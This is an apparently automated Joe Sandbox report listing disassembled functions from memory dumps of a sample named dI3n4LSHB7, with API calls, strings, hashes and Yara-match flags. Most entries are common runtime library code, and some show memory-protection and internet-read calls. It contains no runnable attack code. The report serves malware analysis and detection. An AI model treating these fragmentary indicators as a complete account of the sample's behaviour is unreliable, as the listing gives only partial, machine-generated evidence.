Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction ID: ce5d81a5a20928f213bfffb098e7a6005668583a74e8757c7f390ca8b74bdc84
Opcode Fuzzy Hash: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction Fuzzy Hash: 1BF01C31904129FBEB06DB91CD0ABEE7AB9EB047D6F1041B4F501A21A4CBB5CE41DB90

Function 0040EF4F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0040EF44,?,?,0040EF0C,00000000,74DEDF80,?), ref: 0040EF64
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040EF77
FreeLibrary.KERNEL32(00000000,?,?,0040EF44,?,?,0040EF0C,00000000,74DEDF80,?), ref: 0040EF9A

Strings

mscoree.dll, xrefs: 0040EF5D
CorExitProcess, xrefs: 0040EF6F

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 607d73432645c26095c79918e0b94193a9778d3018f0e4e6e685341166a2a245
Instruction ID: a9aeb9bb373945a448fb4c2f2a76f55d061337ba3b70deabe2e5838c542f66b1
Opcode Fuzzy Hash: 607d73432645c26095c79918e0b94193a9778d3018f0e4e6e685341166a2a245
Instruction Fuzzy Hash: E0F0A070A0421AFBCB119B52ED09BDEBF78EF00759F144071F905B21A0CB788E11DB98

Function 1000A5DD Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A899,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A680
__alloca_probe_16.LIBCMT ref: 1000A736
__alloca_probe_16.LIBCMT ref: 1000A7CC
__freea.LIBCMT ref: 1000A837
__freea.LIBCMT ref: 1000A843

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction ID: 1dd90d70d9504398cfa9d6ef4ea6864651e072268de8b4bf5549d7cf43e308ef
Opcode Fuzzy Hash: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction Fuzzy Hash: C081A472D042569BFF11CE648C81ADE7BF5EF0B6D0F158265E904AB148DB369DC1CBA0

Function 1000AFB7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 1000B03B
__alloca_probe_16.LIBCMT ref: 1000B101
__freea.LIBCMT ref: 1000B16D

Part of subcall function 100079EE: RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

__freea.LIBCMT ref: 1000B176
__freea.LIBCMT ref: 1000B199

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction ID: ca0e6193c5ab93552cef367aef9b2c098b98f9a761b18089088d519bce5e91c7
Opcode Fuzzy Hash: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction Fuzzy Hash: 6651C072600616ABFB21CF64CC81EAF37E9EF456D0F624129FD14A7158EB34EC5197A0

Function 04D02AA0 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 04D02B24
__alloca_probe_16.LIBCMT ref: 04D02BEA
__freea.LIBCMT ref: 04D02C56
__freea.LIBCMT ref: 04D02C5F
__freea.LIBCMT ref: 04D02C82

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: 378295b6f49c7a1482985147ff9c11c2e1bf4f3a81760b0e32bf93aa04d95b4b
Instruction ID: 7078b575cb70d1788cb53d15e2d783d1a5897dafc2c62b17d3425db1a5964cda
Opcode Fuzzy Hash: 378295b6f49c7a1482985147ff9c11c2e1bf4f3a81760b0e32bf93aa04d95b4b
Instruction Fuzzy Hash: 1D510472601216AFEF209F608C89FBB37A9EF84354F1981A9FD04E7180E735FC5196A4

Function 004136A0 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00413724
__alloca_probe_16.LIBCMT ref: 004137EA
__freea.LIBCMT ref: 00413856

Part of subcall function 0041249E: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004124D0

__freea.LIBCMT ref: 0041385F
__freea.LIBCMT ref: 00413882

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 108019662ccab921f27eff110a88a80a1d8b3600edd5f6f257505aea3f790572
Instruction ID: 356f55c8d52bf468307c9bd9aee3ed648f54657124d7a114e97aef17e3d97ec8
Opcode Fuzzy Hash: 108019662ccab921f27eff110a88a80a1d8b3600edd5f6f257505aea3f790572
Instruction Fuzzy Hash: 6151D3B2600206ABEF20AF55CC41EEB36E9EF44755F15412EFD18E7290D738DE9186A8

Function 04B42BB7 Relevance: 7.6, APIs: 5, Instructions: 113memorywindowCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B42C5F
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 04B42C74
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 04B42C82
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 04B42C9D
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 04B42CBC

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: AllocDebugErrorFormatLastLocalMessageOutputProtectStringVirtual
String ID:
API String ID: 2509773233-0
Opcode ID: 98a23b1f51539c79b15504070a912fe8a1d772cf35a21b11453b2abeaae28325
Instruction ID: 8e0c3b542556c10dfa7e3922ea7325ac6b0ed9a3e589e4877d3c30077f841730
Opcode Fuzzy Hash: 98a23b1f51539c79b15504070a912fe8a1d772cf35a21b11453b2abeaae28325
Instruction Fuzzy Hash: 71310471B00014AFDB18DF68DC45FBAB768EF88704F0541E9F905EB252DB31A912EB94

Function 10002986 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100029C3
dllmain_crt_dispatch.LIBCMT ref: 100029DA
dllmain_raw.LIBCMT ref: 10002A22
dllmain_crt_dispatch.LIBCMT ref: 10002A35
dllmain_raw.LIBCMT ref: 10002A48

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction ID: 86b98bd5048e9daedf5606c3f96c4c2c05ee8e367bee4de8e4e1682ebb6c2564
Opcode Fuzzy Hash: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction Fuzzy Hash: EA21A476E0526AAFFB32CF55CC41ABF3AA9EB85AD0F014115FC4867258CB309D419BD1

Function 04D063E1 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04D063F9
_free.LIBCMT ref: 04D0640B
_free.LIBCMT ref: 04D0641D
_free.LIBCMT ref: 04D0642F
_free.LIBCMT ref: 04D06441

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction ID: 54cec943bd09dcb00d1e415c4998b77d12b3387c5f97587b3f5c2d953b93fd55
Opcode Fuzzy Hash: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction Fuzzy Hash: 48F06272705210B78725DF5CF886F2673D9FB00720BA4C819F508E7582CB35F8A28665

Function 04B57248 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 04B57260

Part of subcall function 04B51D29: HeapFree.KERNEL32(00000000,00000000,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?), ref: 04B51D3F
Part of subcall function 04B51D29: GetLastError.KERNEL32(?,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?,?), ref: 04B51D51

_free.LIBCMT ref: 04B57272
_free.LIBCMT ref: 04B57284
_free.LIBCMT ref: 04B57296
_free.LIBCMT ref: 04B572A8

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction ID: 483566ea0ef53b89664ed2dd7fd9b40260e4331b71de85a4830a2d39d41bba32
Opcode Fuzzy Hash: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction Fuzzy Hash: CEF04432B142146BCA34DB58F586E16B3DDEB01720BA40885FC28D7560CF25FC914A54

Function 00416FE1 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00416FF9

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 0041700B
_free.LIBCMT ref: 0041701D
_free.LIBCMT ref: 0041702F
_free.LIBCMT ref: 00417041

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e9905c8b19ab3d426ab646f49b16c807e4d2b9b7b2a9eaa828597b4964810506
Instruction ID: 1bbc7c59558bdb80d40cd5d769ae83ba842cf1fe79b15496f27bd1d3c69b9f62
Opcode Fuzzy Hash: e9905c8b19ab3d426ab646f49b16c807e4d2b9b7b2a9eaa828597b4964810506
Instruction Fuzzy Hash: 2AF04432705240678534DB5DE486D967BE9AF44760758481BF508D7A12D73CFCD0465C

Function 04B458D0 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 476COMMON

Download Yara Rule

Strings

rB, xrefs: 04B46527
O*, xrefs: 04B45A5F
rB, xrefs: 04B459EE

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID:
String ID: O*$rB$rB
API String ID: 0-546290271
Opcode ID: f523bc33ae5dcf39d7c7f9cffc68d396c9ac6c1ced86010178b4c982eee15dc0
Instruction ID: b76375a6d1ccb6514fecc0a490c549058fda5aaf315fa6300b765a8ff46226aa
Opcode Fuzzy Hash: f523bc33ae5dcf39d7c7f9cffc68d396c9ac6c1ced86010178b4c982eee15dc0
Instruction Fuzzy Hash: 52121771D002489BEB18EBB8DC54BEDB7B4EF95308F1080E8E54567191EF34BA49EB61

Function 04B4516B Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B451B2

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Sleep.KERNEL32(000007D0), ref: 04B4552A
Sleep.KERNEL32(000007D0), ref: 04B45544

Strings

updateSW, xrefs: 04B4544F

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep$Init_thread_footer
String ID: updateSW
API String ID: 500923978-2484434887
Opcode ID: a48b40eb8ce9b0f2e770e20945fe188cfd2cc4dc723a840eb928d6538466b87f
Instruction ID: c6fd249a583e1bd64c1d0d5cf636f5f3d56e5160116afebae93ef7f49f3738a4
Opcode Fuzzy Hash: a48b40eb8ce9b0f2e770e20945fe188cfd2cc4dc723a840eb928d6538466b87f
Instruction Fuzzy Hash: CED1D4B1A005649BEB38DB28CC887ADB771EFC1308F1441E9D9096B295DB75AEC4DB41

Function 04D01C22 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04D01CA9

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction ID: 69c86d9ac2cbcabf67793ed5a3a3d409a27c6f7a9974910ead7e1ab8c51a9ea7
Opcode Fuzzy Hash: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction Fuzzy Hash: 48B12532A002469FEB21CF28C8807EEBBF5FF55344F14C56AD8559B381E636A942CB60

Function 04B52A89 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04B52B10

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction ID: 02a552d982c9984a1b1bac77fe61ae331d2408373eee9c2b43d7e4130cbb2361
Opcode Fuzzy Hash: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction Fuzzy Hash: 1FB11532A062869FEB19CF28C8807BEFBF5EF45340F1445E9DC549B2A1D634A902CF60

Function 00412822 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004128A9

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ea5dc4856b585dd579de17702f7f9642f7d44acf4acc8e31691820c31d006a79
Instruction ID: 6012ccbf35aa319517377e765832e55e269021952583a9b626e33c473f35baf7
Opcode Fuzzy Hash: ea5dc4856b585dd579de17702f7f9642f7d44acf4acc8e31691820c31d006a79
Instruction Fuzzy Hash: A6B13571A002459FDB25CF68CA817EEBBE1EF55340F14816BD845EB341D2BC9992CB68

Function 04B41AE7 Relevance: 6.3, APIs: 4, Instructions: 298networkfileCOMMON

Download Yara Rule

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 04B41B6C
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 04B41B8B

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID:
API String ID: 3197321146-0
Opcode ID: f9ec063c9d2e41b3af08dc7f95bc4ff4171d8ea44204e87ef2b2e3f71c5be050
Instruction ID: 38f03f2f50ce7fb5e1d488fa682dcfb14914d823c11f0e815f3cc0a36ff6d32e
Opcode Fuzzy Hash: f9ec063c9d2e41b3af08dc7f95bc4ff4171d8ea44204e87ef2b2e3f71c5be050
Instruction Fuzzy Hash: 96C16EB0A002189FEB25CF28CD88BEAB7B5FF89704F1045D8E509A7690D775BA85CF50

Function 10003EDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 10003FA1
___AdjustPointer.LIBCMT ref: 10003FC4
___AdjustPointer.LIBCMT ref: 10004060

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction ID: 9e97f9b43940e94c385e873cf65d718b9a08959cb0185780d8acf6a52a646172
Opcode Fuzzy Hash: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction Fuzzy Hash: 9D51BFB6A04202AFFB16CF11D941BAB77A8EF047D0F11856DEA05A72A9DB31EC40D794

Function 04CFA284 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04CFA34B
___AdjustPointer.LIBCMT ref: 04CFA36E
___AdjustPointer.LIBCMT ref: 04CFA40A

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: 96e02adebae30f45631e36f17cd4e2790953f2bb6f2a3d0f583c6d7f4dfadc9d
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: EF51BF727012029FEBA99F55DC40BBAF7A7EF44314F14412DEA0946290E73BF985D790

Function 04B4B0EB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04B4B1B2
___AdjustPointer.LIBCMT ref: 04B4B1D5
___AdjustPointer.LIBCMT ref: 04B4B271

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: f0bc5704de4a8aec523d52425b52e3bee8f4acdc25eac687b52e62684058ebf2
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: CE51E372A08602AFEF298F10D880B7A7BA4FF84304F1445ADDA4597A90E731F951FB91

Function 0040AE84 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040AF4B
___AdjustPointer.LIBCMT ref: 0040AF6E
___AdjustPointer.LIBCMT ref: 0040B00A

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: 88ef4a02ba2930d6a04adc46f9a2f5105df9e51eba4518f207ac4bbffbfe15f9
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: E151D1B1600303AFDB299F15D841BABB3A4EF44314F14413FE801A76D2E739AC65D79A

Function 10007BCE Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 10008DC4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B163,?,00000000,00000000), ref: 10008E70

GetLastError.KERNEL32 ref: 10007C36
__dosmaperr.LIBCMT ref: 10007C3D
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C7C
__dosmaperr.LIBCMT ref: 10007C83

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction ID: 4d86bd2ae757562d8160192595c5732c56f34f1228d97d68919d00ee2a874974
Opcode Fuzzy Hash: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction Fuzzy Hash: 9021AC75A00216AFB720DF658C85D5BB7ADFF042E4B108529FA699724ADB35EC408BA0

Function 04B55CB0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 04B4FE6F: _free.LIBCMT ref: 04B4FE7D

Part of subcall function 04B5375E: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,?,04B588CA,?,?,?,00000000,?,04B58639,0000FDE9,00000000,?), ref: 04B53800

GetLastError.KERNEL32 ref: 04B55D18
__dosmaperr.LIBCMT ref: 04B55D1F
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 04B55D5E
__dosmaperr.LIBCMT ref: 04B55D65

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 2446def1f9b4e50dcca6d59721d257bc06bfc03ce38444d90e74b9eed1d69467
Instruction ID: 08308f1979cd23a2967e901f9ccb00e7a8daaa7dba466098c2f7cb83c5f6d14b
Opcode Fuzzy Hash: 2446def1f9b4e50dcca6d59721d257bc06bfc03ce38444d90e74b9eed1d69467
Instruction Fuzzy Hash: 9821D872600605BFEB30AF65CC84F6BF7ACEF402697004598ED29975A0E731FD009750

Function 00415A49 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0040FC08: _free.LIBCMT ref: 0040FC16

Part of subcall function 004134F7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,0041384C,?,00000000,00000000), ref: 00413599

GetLastError.KERNEL32 ref: 00415AB1
__dosmaperr.LIBCMT ref: 00415AB8
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00415AF7
__dosmaperr.LIBCMT ref: 00415AFE

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

